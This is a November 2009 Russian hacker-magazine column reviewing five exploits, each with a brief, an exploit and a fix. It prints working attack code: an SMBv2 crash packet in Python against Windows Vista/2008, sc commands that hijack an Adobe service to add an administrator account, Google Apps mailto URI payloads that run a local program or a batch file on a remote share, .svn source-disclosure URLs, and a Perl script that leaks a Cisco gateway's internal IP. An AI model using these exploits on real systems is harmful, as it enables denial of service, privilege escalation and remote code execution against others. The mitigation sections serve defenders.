Издательский дом ООО "Гейм Лэнд"

ЖУРНАЛ ХАКЕР #131, НОЯБРЬ 2009 г.

Обзор эксплоитов

Наконец ваш покорный слуга вышел из периода затяжного запоя и разбивания всевозможных аксессуаров на территории московского метрополитена. Я снова в строю, поэтому знакомая рубрика будет только усиленнее развиваться от номера к номеру. Теперь я практически всегда на связи, поэтому пишите мне письма, и я с удовольствием на них отвечу.

Безопасность метаданных архитектуры SVN

Brief

Уязвимость имеет силу на проектах, исходные коды которых обновляются через SVN, и веб-сервер не запрещает читать скрытые директории. По умолчанию ни один веб-сервер это не делает. Архитектура SVN предусматривает хранение метаданных и версионную информацию файла для каждой директории исходных кодов. Данные находятся в метадиректории «.svn». Получив доступ к ней, можно, как минимум, построить файловое дерево проекта, узнать URL основного репозитория, список пользователей SVN, получить доступ к исходным кодам проекта. EXPLOIT В одном из файлов под названием entries находится список всех файлов и директорий, расположенных в той же папке, что и .svn.

Также там находится информация о расположении репозитория, размере файлов, даты их изменения и логины пользователей, работающих над проектом. Проще говоря, если проект разрабатывается с помощью SVN, то, заглянув по адресу blabla.ru/.svn/entries, мы увидим файловую структуру корня проекта с авторами, последними изменениями, ссылкой на основную ветку репозитория и так далее. В той же папке .svn находится директория text-base, в которой лежат последние версии всех файлов, находящихся в репозитории. Картину дополняет то, что файлы имеют не стандартное расширение (например, .php), которое позволяет их сразу отправить на интерпретатор, а дополнительное .svn-base, благодаря которому файл отдается запросившему его человеку «как есть», то есть голый исходный код!
blabla.ru/.svn/text-base/index.php.svn-base

Solution

Закрыв доступ на чтение из скрытых директорий на сервере, ты обезопасишь себя от подобных уязвимостей.

nginx: location ~ /.svn/ { deny all; } Apache: <Directory ~ ".*\.svn"> Order allow,deny Deny from all Satisfy All </Directory>

Или:

RewriteRule (\.svn)/(.*?) — [F,L]

Уязвимость была афиширована моим хорошим другом Trin'ом и его компанией (twocomrades.ru). Уточню, что подобный класс уязвимостей не нов и подробности этой уязвимости — тоже! Об этом писалось в статье еще трехгодичной давности (red-mercury.com/blog/eclectic-tech/hacking-subversion-entries-file), но неосведомленность многих пользователей сделала из этой исследовательской заметки целую сенсацию.

Таким образом была раскрыта структура более трех тысяч крупнейших сайтов и информационных ресурсов рунета. Результат подсчитан из проверки примерно 2 миллионов сайтов.

Уязвимость при обработке SMB-пакетов в Windows Vista и Windows 2008

Brief

SMB или CIFS (Common Internet File System) — протокол обмена «расшаренными» данными с файловой системой, использующийся по умолчанию. Обладает клиент-серверной архитектурой, — применительно к Windows это выражается в наличии:

• Client for Microsoft Windows (клиент);
• File and Printer Sharing for Microsoft Windows (SMB-серверный компонент).

SMB на Windows Vista и Windows Server 2008 поддерживает новую улучшенную версию — 2.0. SMBv2 является более адаптированным протоколом в условиях современного развития сетевых технологий (распространенность беспроводных сетей, возможные вынужденные задержки при обмене, высоконагруженность и уплотненность) с рядом преимуществ. Например, SMBv2 поддерживает такие ходовые технологии «будущего», как EFS over Wire (шифрование файловых систем на развернутой беспроводной инфраструктуре), Offline Folders и т.д.

Соответственно, Windows Vista и Windows Server 2008 поддерживают две версии SMB. Другой вопрос, что при взаимодействии с отличными от них системами, следует учесть следующие закономерности:

• Vista client <> Vista client или Windows Server 2008 — SMB 2.0
• Non-Vista client <> Vista client или Windows Server 2008 — SMB 1.0
• Vista client <> Non-Vista client или Non-Windows Server 2008 — SMB 1.0
• Non-Vista client <> Non-Vista client или Non-Windows Server 2008 — SMB 1.0

Exploit

Эксплоит представляет собой код на языке Python, столь активно использующемся в хакерском кругу. Все стандартно — установление сокет-соединения, посылка вредоносного содержимого по адресу конкретного порта службы:

#!/usr/bin/python # When SMB2.0 recieve a "&" char in the "Process Id High" SMB header field it dies with a # PAGE_FAULT_IN_NONPAGED_AREA from socket import socket from time import sleep host = "IP_ADDR", 445 buff = ( "\x00\x00\x00\x90" # SMB header: Session message "\xff\x53\x4d\x42" # Server Component: SMB "\x72\x00\x00\x00" # Negociate Protocol "\x00\x18\x53\xc8" # Operation 0x18 & sub 0xc853 "\x00\x26"# Process ID High: --> : стандартное значение должно быть "\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff\xff\xfe" "\x00\x00\x00\x00\x00\x6d\x00\x02\x50\x43\x20\x4e\x45\x54" "\x57\x4f\x52\x4b\x20\x50\x52\x4f\x47\x52\x41\x4d\x20\x31" "\x2e\x30\x00\x02\x4c\x41\x4e\x4d\x41\x4e\x31\x2e\x30\x00" "\x02\x57\x69\x6e\x64\x6f\x77\x73\x20\x66\x6f\x72\x20\x57" "\x6f\x72\x6b\x67\x72\x6f\x75\x70\x73\x20\x33\x2e\x31\x61" "\x00\x02\x4c\x4d\x31\x2e\x32\x58\x30\x30\x32\x00\x02\x4c" "\x41\x4e\x4d\x41\x4e\x32\x2e\x31\x00\x02\x4e\x54\x20\x4c" "\x4d\x20\x30\x2e\x31\x32\x00\x02\x53\x4d\x42\x20\x32\x2e" "\x30\x30\x32\x00" ) s = socket() s.connect(host) s.send(buff) s.close()

Solution

Уязвимость не распространяется на Windows Server 2008 R2 для x64-битных платформ и Windows Server 2008 R2 для Itanium платформ:

Microsoft Windows 2000 Service Pack 4
Windows XP Service Pack 2 and Windows XP Service Pack 3
Windows XP Professional x64 Edition Service Pack 2
Windows Server 2003 Service Pack 2
Windows Server 2003 x64 Edition Service Pack 2
Windows Server 2003 with SP2 for Itanium-based Systems
Windows 7 for 32-bit Systems
Windows 7 for x64-based Systems
Windows Server 2008 R2 for x64-based Systems
Windows Server 2008 R2 for Itanium-based Systems

Laurent Gaffie, обнародовавший информацию об уязвимости в SMBv2, чуть позже обнаружил, что она была внесена в систему в декабре 2007 вместе с патчем, исправлявшим возможное удаленное исполнение кода во все том же SMBv2. Обычно такие патчи рейтингуются MS как критические, но здесь он был помечен всего лишь как важный, поскольку использование уязвимости было невозможно в стандартной конфигурации.

Решением проблемы может стать принудительное отключение протокола SMB v2. С сайта производителя можно скачать утилиту, которая отключает протокол (go.microsoft.com/?linkid=9683379).

Обход ограничений безопасности, используя Adobe Photoshop Elements 8.0 active file monitor

Brief

Итак, как гласит вступление, Adobe Active File Monitor V8 устанавливается с некорректным дескриптором безопасности. Злонамеренный пользователь с ограниченными правами может приостановить сервис, затем вызвать утилиту для управления сервисами («sc config») и заменить путь, указывающий на другое приложение (например, вредоносное), или выполнить неавторизированную команду, но с привилегиями SYSTEM. Соответственно, перезагрузившись, эффект почувствуют все.

Что же такое Security descriptor?

> sc sdshow "AdobeActiveFileMonitor8.0" D:(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPWPDTLOCRSD RCWDWO;;;BA)(A;;CC LCSWLOCRRC;;;AU)(A;;CCLCSWRPWPDTLOCRRC;;;PU) (A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)

Для справки:

WD — Modify permissions
WO — Modify owner

Правила WO и WD разрешены для всех, что не является хорошим тоном.

Exploit

> sc stop "AdobeActiveFileMonitor8.0" >sc config "AdobeActiveFileMonitor8.0" binPath= "cmd /c net user adobe kills /add && net localgroup Administrators adobe /add" > sc start "AdobeActiveFileMonitor8.0" runas /noprofile /user:%COMPUTERNAME%\adobe cmd

Теперь можно спокойно залогиниться в качестве администратора системы с данными adobe:kills.

Targets

Все операционные системы линейки Windows. Модуль тестировался на Windows XP SP3.

Solution

Смени дескриптор безопасности с помощью sdset:

> sc sdset "AdobeActiveFileMonitor8.0" D:(A;;CCLCSWLOCRRC;;;AU)(A;;CCLCSWRPLOCRRC;;;PU) (A;;CCDCLCSWRPWPDTLOCRSD RCWDWO;;;BA)(A;;CCLCSWRPWPDTLOCRRC;;;SY) [SC] SetServiceObjectSecurity SUCCESS

Что означают эти буквы? Вообще, дескриптор безопасности, как и права доступа, является абстрактным типом данным, отвечающим за организацию безопасности доступа к объектам системы, ее компонентам, а главное, папкам и файлам. Традиционно дескриптор безопасности содержит:

• Owner SID
• Group SID
• DACL: Discretionary Access Control List
• SACL: System Access Control List
• Control flags

C первыми двумя еще понятно, это идентификаторы принадлежности, а что такое DACL/SACL? Речь идет о двух принципиально разных ACL-листах, один из которых контролирует права конкретных пользователей и групп, а другой — способы их доступа. Соответственно, первую в литературе называют «дискреционная система доступа», а вторую — «мандатная». Если честно, я не очень люблю этих выражений, но для разговора — возьми на вооружение. Все эти буковки описывают конкретное правило доступа. Более подробно с ними можно ознакомиться в описании языка Security Descriptor Definition Language. Специальной «строкой» представлено описание основных значений owner (O:), primary group (G:), DACL (D:) и SACL (S:):

O:owner_sid
G:group_sid
D:dacl_flags(string_ace1)(string_ace2)... (string_acen)
S:sacl_flags(string_ace1)(string_ace2)... (string_acen)

Owner_sid — SID, идентифицирующий владельца
Group_sid — SID, идентифицирующий основную группу объекта (Primary)
Dacl_flags — флаги, накладывающие ограничения на DACL
Sacl_flags — флаги, накладывающие ограничения на SACL
string_ace — идентификаторы флагов

Ознакомиться с идентификаторами флагами, можно здесь (msdn.microsoft.com/ru-ru/library/aa374928%28en-us,VS.85%29.aspx):

Родовые права доступа:

GA — GENERIC_ALL
GR — GENERIC_READ
GW — GENERIC_WRITE
GX — GENERIC_EXECUTE

Стандартные права доступа:

RC — READ_CONTROL
SD — DELETE
WD — WRITE_DAC
WO — WRITE_OWNER

Права доступа к директориям:

RP — READ_PROPERTY
WP — WRITE_PROPERTY
CC — CREATE_CHILD
DC — DELETE_CHILD

Права доступа к файлам:

FA — FILE_ALL_ACCESS
FR — FILE_GENERIC_READ
FW — FILE_GENERIC_WRITE
FX — FILE_GENERIC_EXECUTE

Права доступа на ключи реестра

KA — KEY_ALL_ACCESS
KR — KEY_READ
KW — KEY_WRITE
KX — KEY_EXECUTE

Именно эти идентификаторы — в комплексе с идентификаторами SID, наиболее важные из которых перечислены ниже:

WD — «Everyone» (неочевидно, расшифровывается как SECURITY_WORLD_RID)
AN — Anonymous
BA — Built-In Administrators
SA — System Administrators

Исходя из этих соображений, основная суть уязвимости в том, что практически максимальные привилегии выданы WD, а не BA или SY. Следи за этим, так как подобная мелочь может породить огромную брешь в безопасности.

Неавторизированное выполнение кода путем эксплуатации функций Google APS

Brief

Зачем нужны GoogleApps? Во-первых, это крутые примочки, которые облегчают твою жизнь, равно как и половина замечательных сервисов от Google. Некоторые используют GoogleApps в качестве заменителя Microsoft Outlook. Устанавливать это дело крайне просто.
Для начала опцию надо активировать в GMAIL, причем подразумевается, что слинковали ее с каким-либо доменом. Действительно, изменив записи DNS, существует возможность использовать GMAIL в качестве почтовика на своем ресурсе. Если все сделано правильно, то там появятся Mail/Calendar/Docs/Talk/Contacs, по сути, полный набор.

Кто не готов поднимать приложения на своем домене, пункт может смело пропустить и настроить все для стандартных сервисов Google. Далее ставим из Google Pack: Google Chrome исключительно для сервисов Google Apps и, собственно, сами Google Apps, которые на рабочем столе создадут полезные иконки и заменят mail-клиент по умолчанию на GMail. Третьим пунктом включаем из Chrome Offline для GMail, Calendar и, если надо, Docs. Плюс, исследуем возможность включения Offline в Google Reader перед отключением связи. Он скачивает все сообщения, и можно RSS читать offline. Безусловно, есть некоторое неудобство в том, что надо руками каждый раз включать режим stanalone. Можно в настройках Offline каждого сервиса создать на рабочем столе ярлыки на них, но это тоже не очень удобно — обилие одинаковых ярлыков не может не огорчать. Можно поковырять реестр и настроить клиент по умолчанию на использование offline-версии.

Прикинув все возможные варианты, я решил, что клиент по умолчанию будет открывать offline-версию почты в Google Chrome, а ссылки «mailto:» — его зависимую версию через Google Apps. Поскольку второе уже было настроено самими Google Apps, надо было поменять только первое.

Компонент googleapps.url.mailto, отвечающий за почтовый обмен, зарегистрирован в системе по следующим ключам реестра:

[HKEY_CLASSES_ROOT\GoogleApps.Url.mailto] @="Google Apps URL" "EditFlags"=hex:02,00,00,00 "FriendlyTypeName"="Google Apps URL" "URL Protocol"="" [HKEY_CLASSES_ROOT\GoogleApps.Url.mailto\DefaultIcon] @="C:\\Programmi\\Google\\Google Apps\\googleapps.exe,0" [HKEY_CLASSES_ROOT\GoogleApps.Url.mailto\shell] [HKEY_CLASSES_ROOT\GoogleApps.Url.mailto\shell\open] [HKEY_CLASSES_ROOT\GoogleApps.Url.mailto\shell\open\command] @="C:\\Programmi\\Google\\Google Apps\\googleapps.exe --mailto.google.com=\"%1\"" С помощью использования -domain и -renderer-path флагов существует возможность обхода безопасности современных браузеров, включая IE (всех версий) и Google Chrome. EXPLOIT Выполнение calc.exe на локальной машине: googleapps.url.mailto://"%20--domain="--what%20 --renderer-path=calc%20--no-sandbox%20--x"/ Выполнение удаленного сценария, размещенного в «шаре»: googleapps.url.mailto://"%20--domain="--x%20 --renderer-path=\\192.168.0.1\uncshare\sh.bat%20--nosandbox%20--x"/

Таким образом можно выполнять вредоносные и деструктирующие действия, например, произвольно удалить файл, организовать скрытый поток или добавить пользователя.

Targets

Internet Explorer 8, windows xp sp3.
Internet Explorer 7, windows xp sp3.
Google Chrome 2.0.172.43.

Solution

Удалить вышеупомянутый URI-handler из реестра.

CISCO ACE XML GATEWAY <= 6.0 раскрытие сетевой адресации

Brief

Известнейший продукт, входящий в состав Cisco Application Control Engine (ACE), потерпел неудачу и засветился на практически каждом багтраке.

Exploit

При отправке метода OPTIONS HTTP-протокола существует возможность раскрыть внутренний IP. Для чего? Может найтись множество ситуаций. Например, подобный принцип обнаружения заключается в отлове «проксифицированных» пакетов на шлюзе провайдера. Это могут быть запросы вида «HTTP 1.1 CONNECT», либо «GET/POST» с полным адресом URL (RFC требует полный путь к запрашиваемому ресурсу, а не относительный). Тем самым, можно обнаружить прокси, ведущие в локальную сеть (со стороны провайдера):

#!/usr/bin/perl -w use strict; use Socket qw/ :DEFAULT :crlf /; # $CRLF use IO::Socket; sub header { print " .+==================================+.\n"; print " / Cisco ACE XML Gateway <= 6.0 \\\n"; print "| Internal IP Address Disclosure |\n"; } sub usage { header; print "Usage: $0 <host> [port(default 80)]\n"; exit 0xdead; } my $host = shift || usage; my $port = shift || 80; my $axg; my $axg_response; my @payloads = ("OPTIONS / HTTP/1.0" . $CRLF . $CRLF, "OPTIONS / HTTP/1.1" . $CRLF . "Host: " . $host . $CRLF . $CRLF); header; print "[+] Connecting to $host on port $port ...\n"; for(@payloads){ $axg = IO::Socket::INET->new( PeerAddr => $host, PeerPort => $port, Proto => 'tcp') or die "[-] Could not create socket: $!\n"; print "[+] Sending payload ...\n"; print $axg $_; $axg->read($axg_response, 1024); print "[+] Parsing response ...\n"; if($axg_response =~ /Client IP: (.*)/){ print "[+] Internal IP disclosure: $1\n"; $axg->close(); exit 0xbabe; } $axg->close(); } print "[-] Not vulnerable !\n";

Targets

ACE XML Gateway release (6).

Solution

Установить обновление ACE XML Gateway release (6.1).

Содержание